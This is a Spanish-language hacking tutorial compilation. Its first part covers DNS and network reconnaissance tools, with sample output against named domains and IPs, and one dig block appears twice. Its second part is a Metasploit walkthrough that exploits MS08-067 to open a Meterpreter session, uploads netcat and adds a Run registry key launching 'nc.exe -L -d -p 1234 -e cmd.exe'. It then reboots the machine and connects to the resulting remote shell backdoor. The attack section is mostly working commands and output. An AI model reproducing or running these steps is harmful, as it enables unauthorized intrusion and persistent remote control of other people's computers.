[+] Host 94.23.5.200 Running OS: "Linux Kernel 2.4.28" (Guess probability: 100%)
[+] Cleaning up scan engine
[+] Modules deinitialized
[+] Execution completed.

——————————————————————————————–

DNSmap

DNSmap es una herramienta basada en fuerza bruta , loque se haces es obtener los subdominios de un host

Código:
dnsmap - DNS Network Mapper by pagvac dnsmap - DNS Red por mapper pagvac
(http://ikwt.com, http://foro.elhacker.net) (http://ikwt.com, http://foro.elhacker.net)
Searching subhosts on domain victimluser.com Subhosts en la búsqueda de dominio victimluser.com

forum.victimluser.com forum.victimluser.com
IP Address #1:192.168.1.1 Dirección IP # 1:192.168.1.1

mail.victimluser.com mail.victimluser.com
IP Address #1:192.168.1.2 Dirección IP # 1:192.168.1.2

ftp.victimluser.com ftp.victimluser.com
IP Address #1:192.168.1.3 Dirección IP # 1:192.168.1.3

pop.victimluser.org pop.victimluser.org
IP Address #1:192.168.1.4 Dirección IP # 1:192.168.1.4

————————————————————————————————

DNStracer

DNStracer dnstracer determina que un determinado servidor de nombres de dominio (DNS) obtiene su información de, y sigue la cadena de los servidores DNS de nuevo a los servidores que saber los datos.

Código:
bt ~ # dnstracer dec.es
Tracing to dec.es via 190.157.2.140, timeout 15 seconds
190.157.2.140 (190.157.2.140)
|___ SUN.REDIRIS.es [es] (130.206.1.2)
| |___ sn0.publicinet.net [dec.es] (69.56.171.170) Got authoritative answer
| ___ sn1.publicinet.net [dec.es] (67.19.24.106) Got authoritative answer
|___ NS1.CRN.NIC.es [es] (195.81.201.11)
| |___ sn0.publicinet.net [dec.es] (69.56.171.170) (cached)
| ___ sn1.publicinet.net [dec.es] (67.19.24.106) (cached)
|___ NS1.CESCA.es [es] (84.88.0.3)
| |___ sn1.publicinet.net [dec.es] (67.19.24.106) (cached)
| ___ sn0.publicinet.net [dec.es] (69.56.171.170) (cached)
|___ NS-EXT.NIC.CL [es] (200.1.123.14)
| |___ sn1.publicinet.net [dec.es] (67.19.24.106) (cached)
| ___ sn0.publicinet.net [dec.es] (69.56.171.170) (cached)
|___ NS1.NIC.es [es] (194.69.254.1)
| |___ sn1.publicinet.net [dec.es] (67.19.24.106) (cached)
| ___ sn0.publicinet.net [dec.es] (69.56.171.170) (cached)
|___ NS3.NIC.FR [es] (192.134.0.49)
| |___ sn0.publicinet.net [dec.es] (69.56.171.170) (cached)
| ___ sn1.publicinet.net [dec.es] (67.19.24.106) (cached)
___ SNS-PB.ISC.ORG [es] (192.5.4.1)
|___ sn1.publicinet.net [dec.es] (67.19.24.106) (cached)
___ sn0.publicinet.net [dec.es] (69.56.171.170) (cached)

———————————————————————————————-

Dig

es un instrumento flexible para interrogar a los servidores de nombres DNS. Realiza búsquedas de DNS y muestra las respuestas que se devuelve desde el servidor de nombres (s) que se preguntó.La mayoría de los administradores de DNS uso excavar

Código:
bt ~ # dig

; <<>> DiG 9.4.1 <<>>
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12331
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13

;; QUESTION SECTION:
;. IN NS

;; ANSWER SECTION:
. 463603 IN NS B.ROOT-SERVERS.NET.
. 463603 IN NS G.ROOT-SERVERS.NET.
. 463603 IN NS J.ROOT-SERVERS.NET.
. 463603 IN NS M.ROOT-SERVERS.NET.
. 463603 IN NS A.ROOT-SERVERS.NET.
. 463603 IN NS F.ROOT-SERVERS.NET.
. 463603 IN NS E.ROOT-SERVERS.NET.
. 463603 IN NS K.ROOT-SERVERS.NET.
. 463603 IN NS L.ROOT-SERVERS.NET.
. 463603 IN NS D.ROOT-SERVERS.NET.
. 463603 IN NS H.ROOT-SERVERS.NET.
. 463603 IN NS C.ROOT-SERVERS.NET.
. 463603 IN NS I.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
A.ROOT-SERVERS.NET. 118037 IN A 198.41.0.4
B.ROOT-SERVERS.NET. 602369 IN A 192.228.79.201
C.ROOT-SERVERS.NET. 596594 IN A 192.33.4.12
E.ROOT-SERVERS.NET. 600198 IN A 192.203.230.10
F.ROOT-SERVERS.NET. 604371 IN A 192.5.5.241
G.ROOT-SERVERS.NET. 600198 IN A 192.112.36.4
H.ROOT-SERVERS.NET. 601397 IN A 128.63.2.53
I.ROOT-SERVERS.NET. 582297 IN A 192.36.148.17
J.ROOT-SERVERS.NET. 603971 IN A 192.58.128.30
J.ROOT-SERVERS.NET. 118037 IN AAAA 2001:503:c27::2:30
K.ROOT-SERVERS.NET. 595717 IN A 193.0.14.129
K.ROOT-SERVERS.NET. 600476 IN AAAA 2001:7fd::1
M.ROOT-SERVERS.NET. 586159 IN A 202.12.27.33

;; Query time: 41 msec
;; SERVER: 190.157.2.140#53(190.157.2.140)
;; WHEN: Sat Aug 15 16:26:31 2009
;; MSG SIZE rcvd: 460

bt ~ # dig

; <<>> DiG 9.4.1 <<>>
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12331
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13

;; QUESTION SECTION:
;. IN NS

;; ANSWER SECTION:
. 463603 IN NS B.ROOT-SERVERS.NET.
. 463603 IN NS G.ROOT-SERVERS.NET.
. 463603 IN NS J.ROOT-SERVERS.NET.
. 463603 IN NS M.ROOT-SERVERS.NET.
. 463603 IN NS A.ROOT-SERVERS.NET.
. 463603 IN NS F.ROOT-SERVERS.NET.
. 463603 IN NS E.ROOT-SERVERS.NET.
. 463603 IN NS K.ROOT-SERVERS.NET.
. 463603 IN NS L.ROOT-SERVERS.NET.
. 463603 IN NS D.ROOT-SERVERS.NET.
. 463603 IN NS H.ROOT-SERVERS.NET.
. 463603 IN NS C.ROOT-SERVERS.NET.
. 463603 IN NS I.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
A.ROOT-SERVERS.NET. 118037 IN A 198.41.0.4
B.ROOT-SERVERS.NET. 602369 IN A 192.228.79.201
C.ROOT-SERVERS.NET. 596594 IN A 192.33.4.12
E.ROOT-SERVERS.NET. 600198 IN A 192.203.230.10
F.ROOT-SERVERS.NET. 604371 IN A 192.5.5.241
G.ROOT-SERVERS.NET. 600198 IN A 192.112.36.4
H.ROOT-SERVERS.NET. 601397 IN A 128.63.2.53
I.ROOT-SERVERS.NET. 582297 IN A 192.36.148.17
J.ROOT-SERVERS.NET. 603971 IN A 192.58.128.30
J.ROOT-SERVERS.NET. 118037 IN AAAA 2001:503:c27::2:30
K.ROOT-SERVERS.NET. 595717 IN A 193.0.14.129
K.ROOT-SERVERS.NET. 600476 IN AAAA 2001:7fd::1
M.ROOT-SERVERS.NET. 586159 IN A 202.12.27.33

;; Query time: 41 msec
;; SERVER: 190.157.2.140#53(190.157.2.140)
;; WHEN: Sat Aug 15 16:26:31 2009
;; MSG SIZE rcvd: 460

———————————————————————————————————————————-

fierce

De dominio Fierce exploración nació de la frustración personal después de realizar una auditoría de seguridad en aplicaciones web. Es tradicionalmente muy difícil de descubrir grandes franjas de una red corporativa que no es contigua. Es terriblemente fácil de ejecutar un escáner en contra de un rango de direcciones IP, pero si los rangos de IP están muy lejos uno del otro que se puede perder grandes trozos de redes.

Código:
bt fierce # perl fierce.pl -dns dec.es
DNS Servers for dec.es:
sn0.publicinet.net
sn1.publicinet.net

Trying zone transfer first...
Testing sn0.publicinet.net
Request timed out or transfer not allowed.
Testing sn1.publicinet.net
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...
Nope. Good.
Now performing 1895 test(s)...
67.19.24.106 ftp.dec.es
127.0.0.1 localhost.dec.es
67.19.24.106 mail.dec.es
67.19.24.106 www.dec.es

Subnets found (may want to probe here using nmap or unicornscan):
127.0.0.0-255 : 1 hostnames found.
67.19.24.0-255 : 3 hostnames found.

Done with Fierce scan: http://ha.ckers.org/fierce/
Found 4 entries.

Have a nice day.

—————————————————————————————————————————————-

TCPTracer

Código:
bt ~ # tcptraceroute 94.23.5.200
Selected device eth0, address 186.82.43.125, port 57546 for outgoing packets
Tracing the path to 94.23.5.200 on TCP port 80 (http), 30 hops max
1 Dynamic-IP-xxxxxxxxx.cable.net.co (xxxxxxxx) 9.912 ms 12.177 ms 19.300 ms
2 xxxxxxxxxxxxxxx 11.631 ms 14.402 ms 11.508 ms
3 Static-IP-xxxxxxxxxxcable.net.co (xxxxxxxxxxx) 26.259 ms 26.580 ms 25.277 ms
4 * * *
5 bbint-miami-americas-2-pos4-0-0.uninet.net.mx (187.141.106.254) 76.444 ms 75.241 ms 76.762 ms
6 if-6-0.icore1.MLN-Miami.as6453.net (66.110.9.21) 90.716 ms 91.147 ms *
7 if-0-0-0-421.core3.MLN-Miami.as6453.net (66.110.9.2) 78.234 ms 77.222 ms 76.263 ms
8 if-0-0-0.mcore4.NJY-Newark.as6453.net (209.58.104.2) 130.242 ms 267.547 ms 170.154 ms
9 if-1-0.mcore3.L78-London.as6453.net (195.219.144.9) 180.382 ms 180.806 ms 179.638 ms
10 if-1-0-0-2.mse1.LVX-London.as6453.net (195.219.144.26) 186.137 ms 185.663 ms 194.932 ms
11 if-13-1-0.mcore3.LDN-London.as6453.net (195.219.195.49) 198.470 ms 204.828 ms 182.617 ms
12 blan62.icore1.LDN-London.as6453.net (195.219.83.1) 192.421 ms 194.849 ms 181.499 ms
13 20g.ldn-1-6k.routers.ovh.net (94.23.122.74) 188.192 ms 196.628 ms 187.976 ms
14 20g.vss-1-6k.routers.chtix.eu (94.23.122.66) 189.848 ms 186.503 ms 186.275 ms
15 ns365791.ovh.net (94.23.5.200) [open] 197.355 ms 183.518 ms 189.771 ms

By Progresive Death

Subir Archivos y Crear Clave dentro del Registro [BackDoor ]

[Metasploit By: Shell Root]

Cuando ingresamos a un P.C remoto, con ayuda del Metasploit, además de tener el PAYLOAD con Meterpreter, tenemos varias opciones. Una de ellas conseguir la Shell Remota, Ingresar Claves al Registro de Windows, Subir Archivos del P.C atacante hacia la P.C Remota.

Primero ingresaremos a la P.C con el exploit:

  • exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:

  • windows/shell/bind_tcp
  • windows/shell/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp.

Código:

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 7 days ago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.3      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.0.3      no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:1934 -> 192.168.0.3:4444)

meterpreter >

Ahora estamos dentro del P.C Remoto, Subamos el Archivo NetCat de nuestra P.C a la P.C Remota, con uso del comando upload. Miremos que opciones tiene esté comando.

Código:

meterpreter > upload
Usage: upload [options] [Ubicación Archivo Local] [Ubicación Archivo Remoto]

Uploads local files and directories to the remote machine.

OPTIONS:

    -r        Upload recursively.

meterpreter >

Así:

Código:

meterpreter > upload C:\Windows\System32\nc.exe C:\Windows\System32\[*] uploading  : C:WindowsSystem32nc.exe -> C:WindowsSystem32[*] uploaded   : C:WindowsSystem32nc.exe -> C:WindowsSystem32\nc.exe
meterpreter >

Despues crearemos una clave dentro del Registro de Windows con la siguiente ruta:

  • HKLM\Software\Microsoft\Windows\CurrentVersion \Run

Asi:

Código:

meterpreter > reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v Hacked -d 'C:WindowsSystem32nc.exe -L -d -p 1234 -e cmd.exe'
Successful set Hacked.
meterpreter >

Ahora solo nos queda reiniciar el P.C remoto con el comando Reboot. Asi:

Código:

meterpreter > reboot
Rebooting...
meterpreter >

Y por ultimo conectarnos con el BackDoor que acabamos de dejar en la P.C Remota. Podemos usar el Mismos Metasploit o la Consola de Windows. En este caso usaremos el Metasploit. Así:

Código:

msf > connect 192.168.0.3 1234[*] Connected to 192.168.0.3:1234
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsShell Root Remoto>

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/subir-archivos-y-crear-clave-dentro-del.html